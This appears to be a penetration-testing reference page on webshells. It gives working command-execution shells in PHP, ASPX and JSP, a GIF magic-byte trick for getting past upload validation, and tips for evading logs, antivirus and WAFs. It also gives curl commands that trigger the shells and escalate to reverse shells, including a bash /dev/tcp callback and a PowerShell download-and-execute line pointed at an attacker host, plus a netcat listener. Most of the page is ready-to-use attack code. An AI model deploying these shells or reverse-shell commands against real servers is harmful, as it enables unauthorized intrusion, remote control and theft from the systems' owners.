webshell Webshell
Table of Contents
A script uploaded to a web server that executes OS commands via HTTP requests. Deployed after achieving file write access through file upload vulnerabilities, LFI, or RCE. The first step after upload is always confirming execution, then escalating to a full reverse shell.
Related: File Upload Vulnerabilities File Inclusion Reverse Shell IIS Penetration Testing Linux Privilege Escalation Windows Privilege Escalation
Default Kali Webshells
ls /usr/share/webshells/ # php/ asp/ aspx/ cfm/ jsp/ perl/ # Most useful /usr/share/webshells/php/php-reverse-shell.php # full reverse shell /usr/share/webshells/aspx/cmdasp.aspx # IIS command shell /usr/share/webshells/php/simple-backdoor.php # GET parameter shell
Payloads by Language
PHP
<?php system($_GET['cmd']); ?> <?php echo shell_exec($_REQUEST['cmd']); ?> # More evasive <?php $c=$_GET['c'];system($c); ?> # POST-based (harder to spot in logs) <?php system($_POST['cmd']); ?>
ASPX (IIS / .NET)
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["cmd"];
if (cmd != null) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>
JSP (Tomcat / Java)
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
# With output
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream is = p.getInputStream();
int c;
while ((c = is.read()) != -1) out.print((char)c);
%>
PHP with Magic Bytes (bypass image validation)
# Prepend GIF magic bytes — passes magic byte checks, PHP still executes echo 'GIF89a' > shell.php echo '<?php system($_GET["cmd"]); ?>' >> shell.php
Triggering and Escalating
# Confirm execution curl "http://$IP/uploads/shell.php?cmd=id" curl "http://$IP/uploads/shell.php?cmd=whoami" # Check connectivity back to attacker curl "http://$IP/uploads/shell.php?cmd=ping+-c+1+$ATTACKER" # Reverse shell via webshell — Linux curl "http://$IP/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER/4444+0>%261'" # Reverse shell via webshell — Windows PowerShell curl "http://$IP/uploads/shell.aspx?cmd=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://$ATTACKER/rev.ps1')"
Set listener before triggering:
nc -lvnp 4444
See Reverse Shell for full payload reference.
Tips
- Always confirm
idorwhoamibefore attempting a reverse shell — confirms execution and tells you the service account context - URL-encode special characters in curl commands: space=+,
&==%26,>===%3E - If direct reverse shell fails, try downloading and executing a reverse shell script via the webshell instead
- On IIS, the webshell runs as the application pool identity —
check
whoami /privimmediately for SeImpersonatePrivilege - Keep payloads minimal — feature-rich shells are more likely to trigger AV or WAF
- On shared hosting or CTF environments,
system()is sometimes disabled — tryshell_exec(),exec(),passthru(), orpopen()as alternatives